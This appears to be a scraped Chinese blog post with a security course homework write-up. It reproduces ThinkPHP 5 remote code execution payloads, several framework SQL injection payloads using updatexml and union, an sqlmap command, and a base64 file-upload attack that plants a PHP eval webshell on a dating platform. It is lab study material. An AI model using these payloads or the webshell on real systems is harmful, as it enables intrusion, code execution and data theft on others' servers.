当前位置: 首页 > news >正文

C11期作业18(07.12)

目录

【漏洞编号】CNVD-2018-24942

一、对微商城系统进行代码审计,分析复现文件上传、sql注入等漏洞

文件上传漏洞:见C11期作业17(07.05) 的第四题

sql注入漏洞示例(goods.php)

 代码审计:id参数未做输入控制,且查询数据展示在页面(可使用union注入) ​

复现漏洞

 手工方式​

使用sqlmap​(更简单)

二、复习ThinkPHP框架基础知识,重点掌握url传参方式以及获取用户参数的写法

安装和运行:使用composer安装5.0.15版本

安装composer:通过phpstudy安装(软件管理页)​

打开composer​

配置composer镜像

创建tp5目录,composer命令行切换到此目录,执行命令(实际下载5.0的最新版本)

更新代码为5.0.15版本

phpstudy中配置站点,访问站点​

目录结构​

url传参方式(不考虑路由配置)

PATH_INFO⽅式​

兼容模式​

获取用户参数(这里使用更方便的方式:input助手函数)

函数声明:input('变量类型.变量名/修饰符','默认值','过滤规则')

变量类型​

修饰符(类型强转的过滤方式)​

过滤规则

默认值:参数不存在,或过滤失败时使用

三、复习ThinkPHP框架漏洞,重点掌握框架代码执行漏洞及工具使用,了解sql注入漏洞及常见不安全写法

代码执行漏洞

原理:ThinkPHP 底层没有对控制器名进⾏很好的合法性校验,导致在未开启强制路由的情况下,⽤户可以调用任意类的任意⽅法,最终导致 远程代码执⾏漏洞 的产⽣

漏洞利用方式(thinkphp5.0.15版本,测试可用的一些)

sql注入漏洞

框架漏洞

准备

insert方法注入

update方法注入

select方法注入

order by方法注入

聚合函数注入

常见不安全写法

四、搭建部署脱单交友平台并审计复现任意文件写入漏洞

平台搭建

获取源码

创建库表

创建站点​

配置伪静态

站点访问

复现漏洞

问题代码(base64Image函数):对文件后缀未验证,存在任意文件上传漏洞​

base64Image函数调用位置

漏洞利用

生成data参数值

上传php一句话木马文件,成功​

利用上传的一句话木马​

一、对微商城系统进行代码审计,分析复现文件上传、sql注入等漏洞

  1. 文件上传漏洞:见C11期作业17(07.05) 的第四题
  2. sql注入漏洞示例(goods.php)
    1.  代码审计:id参数未做输入控制,且查询数据展示在页面(可使用union注入) 
    2. 复现漏洞
      1.  手工方式
      2. 使用sqlmap​(更简单)
        python sqlmap.py -u http://mall.com/goods.php?id=-1 --batch

二、复习ThinkPHP框架基础知识,重点掌握url传参方式以及获取用户参数的写法

  1. 安装和运行:使用composer安装5.0.15版本
    1. 安装composer:通过phpstudy安装(软件管理页)
    2. 打开composer
    3. 配置composer镜像
      composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
    4. 创建tp5目录,composer命令行切换到此目录,执行命令(实际下载5.0的最新版本)
      composer create-project --prefer-dist topthink/think=5.0.15 .
    5. 更新代码为5.0.15版本
      1. 在composer.json ⽂件此处更改版本号为5.0.15
      2. 执⾏composer update
    6. phpstudy中配置站点,访问站点
  2. 目录结构
  3. url传参方式(不考虑路由配置)
    1. PATH_INFO⽅式
    2. 兼容模式
  4. 获取用户参数(这里使用更方便的方式:input助手函数)
    1. 函数声明:input('变量类型.变量名/修饰符','默认值','过滤规则')
    2. 变量类型
    3. 修饰符(类型强转的过滤方式)
    4. 过滤规则
      1. 支持:自定义的函数或方法、php内置的过滤规则,支持多个

      2. 设置

        1. 全局设置:配置文件/Request

        2. 获取变量时指定

    5. 默认值:参数不存在,或过滤失败时使用

三、复习ThinkPHP框架漏洞,重点掌握框架代码执行漏洞及工具使用,了解sql注入漏洞及常见不安全写法

  1. 代码执行漏洞
    1. 原理:ThinkPHP 底层没有对控制器名进⾏很好的合法性校验,导致在未开启强制路由的情况下,⽤户可以调用任意类的任意⽅法,最终导致 远程代码执⾏漏洞 的产⽣
    2. 漏洞利用方式(thinkphp5.0.15版本,测试可用的一些)
      1. post数据:_method=__construct&filter[]=system&method=get&get[]=calc
      2. ?s=index/think\config/get&name=database.username
      3. ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=sy
        stem&vars[1][]=calc
  2. sql注入漏洞
    1. 框架漏洞
      1. 准备
        1. 创建数据库和表
          create database tpdemo;use tpdemo;create table users(id int primary key auto_increment,username varchar(50) not null
          );
        2. 在database.php修改数据库连接相关参数
        3. 开启config.php 中的 app_debug 和 app_trace
      2. insert方法注入
        1. 原理:Builder 类的 parseData ⽅法中。由于程序没有对数据进⾏很好的过滤,将数据拼接进 SQL 语句,导致 SQL注⼊漏洞 的产⽣
        2. 漏洞版本:5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
        3. 代码示例
          class Vul
          {public function sql(){$username = Input('username/a');db('users')->insert(['username' => $username]);return 'Update success';}
          }
        4. 执行方式
          http://tp.com/index.php/test/vul/sql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
      3. update方法注入
        1. 原理:Mysql 类的 parseArrayData ⽅法中由于程序没有对数据进⾏很好的过滤,将数据拼接进 SQL 语句,导致 SQL注⼊漏洞 的产⽣
        2. 漏洞版本:5.1.6<=ThinkPHP<=5.1.7 (⾮最新的 5.1.8 版本也可利⽤)
        3. 代码示例
          class Vul
          {public function sql(){$username = Input('username/a');db('users')->where(['id' => 1])->update(['username' => $username]);return 'Update success';}
          }
        4. 执行方式(非本人安装版本未验证)
          ?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
      4. select方法注入
        1. 原理:Mysql 类的 parseWhereItem ⽅法中。由于程序没有对数据进⾏很好的过滤,直接将数据拼接进 SQL语句。再⼀个, Request 类的 filterValue ⽅法漏过滤 NOT LIKE 关键字,最终导致 SQL注⼊漏洞 的产⽣
        2. 漏洞版本:5.0.10
        3. 代码示例
          class Vul
          {public function sql(){$username = request()->get('username/a');$result = db('users')->where(['username' => $username])->select();var_dump($result);}
          }
        4. 执行方式(非本人安装版本未验证)
          ?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#
      5. order by方法注入
        1. 原理:Builder 类的 parseOrder ⽅法中。由于程序没有对数据进⾏很好的过滤,直接将数据拼接进 SQL语句,最终导致 SQL注⼊漏洞 的产⽣
        2. 漏洞版本:5.1.16<=ThinkPHP5<=5.1.22
        3. 代码示例
          class Vul
          {public function sql(){$orderby = request()->get('orderby');$result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();var_dump($result);}
          }
        4. 执行方式(非本人安装版本未验证)
          orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
      6. 聚合函数注入
        1. 原理:此漏洞存在于所有 Mysql 聚合函数相关⽅法。由于程序没有对数据进⾏很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注⼊漏洞 的产⽣
        2. 漏洞版本:5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25
        3. 代码示例
        4. 执行方式
          1. 版本:5.0.0~5.0.21 、 5.1.3~5.1.10
            http://tp.com/index.php/test/vul/sql?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users%23
          2. 版本:5.1.11~5.1.25 (非本人安装版本未验证)
            ?id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users%23
    2. 常见不安全写法
      1. 如where语句中存在输入变量,会存在union注入漏洞
      2. 示例代码:
        1. 示例一
        2. 示例二

四、搭建部署脱单交友平台并审计复现任意文件写入漏洞

  1. 平台搭建
    1. 获取源码
      1. 下载。下载地址:https://www.njymz.com/10096.html
      2. 解压下载文件,继续解压sql文件
      3. 将解压后sql文件放到www目录下,然后将www目录改名为you,复制you目录到phpstudy的www目录下,如下
    2. 创建库表
      1. 创建数据库:you
      2. 执行sql:在you数据库中执行上面的sql
      3. 修改数据库配置
    3. 创建站点
    4. 配置伪静态
      1. 不配置很多页面会访问异常

      2. 将public目录的.htaccess文件内容改为如下

        <IfModule mod_rewrite.c>RewriteEngine onRewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_FILENAME} !-fRewriteRule ^(.*)$ index.php [L,E=PATH_INFO:$1]
        </IfModule>
    5. 站点访问
      1. 后管入口:输入tp.com,会跳转到后管登陆页面。账密:admin,123456
      2. 前台入口:tp.com/app
  2. 复现漏洞
    1. 问题代码(base64Image函数):对文件后缀未验证,存在任意文件上传漏洞
    2. base64Image函数调用位置
      1. 前台和后管各有一处

      2. 如下是前台调用的控制器和方法(参数是数组)

    3. 漏洞利用
      1. 生成data参数值
        1. 前面部分(固定部分+自定义文件扩展名):data:image/php;base64,
        2. 后面部分(文件内容)
          1. php一句话木马
            <?php @eval($_GET['cmd']); ?>
          2. base64加密为:PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTsgPz4=
      2. 上传php一句话木马文件,成功
      3. 利用上传的一句话木马
http://www.lryc.cn/news/623439.html

相关文章:

  • 栈与队列:数据结构中的双生子
  • 【JavaEE】多线程 -- 单例模式
  • [python学习记录2]变量
  • Maven 开发实践
  • PCA的一些实际应用
  • 详解flink java基础(一)
  • 前端项目的打包部署
  • 【MySQL学习|黑马笔记|Day7】触发器和锁(全局锁、表级锁、行级锁、)
  • Docker Compose 安装 Neo4j 的详细步骤
  • Docker之自定义jkd镜像上传阿里云
  • Docker+飞算JavaAI=未来:全流程容器化AI开发实战
  • 堆(Heap):高效的优先级队列实现
  • 适用监测农作物长势和病虫害的高光谱/多光谱相机有哪些?
  • 已开源:Highcharts.NET,Highcharts Android,与Highcharts iOS集成
  • 【Virtual Globe 渲染技术笔记】8 顶点变换精度
  • p5.js 3D 形状 “预制工厂“——buildGeometry ()
  • 积鼎科技CFD VirtualFlow:引领国产多相流仿真技术,赋能工业智造
  • 6.Ansible自动化之-管理变量和事实
  • 使用vscode的task.json来自动执行make命令,而不直接使用终端
  • 智能化管理:开启海洋牧场新时代
  • Excel 表格数据自动填充
  • C++算法竞赛:位运算
  • Android 组件封装实践:从解耦到架构演进
  • 工作中使用到的 TRPS 【Temporal Residual Pattern Similarity】和 K-sigma 算法
  • 知识点汇集-web
  • Spring 源码学习(十一)—— webmvc 配置
  • 项目发布上线清单
  • 如何在Windows系统中更改用户名(中文转英文全流程)
  • LeetCode 837.新 21 点:动态规划+滑动窗口
  • 【运维进阶】实施任务控制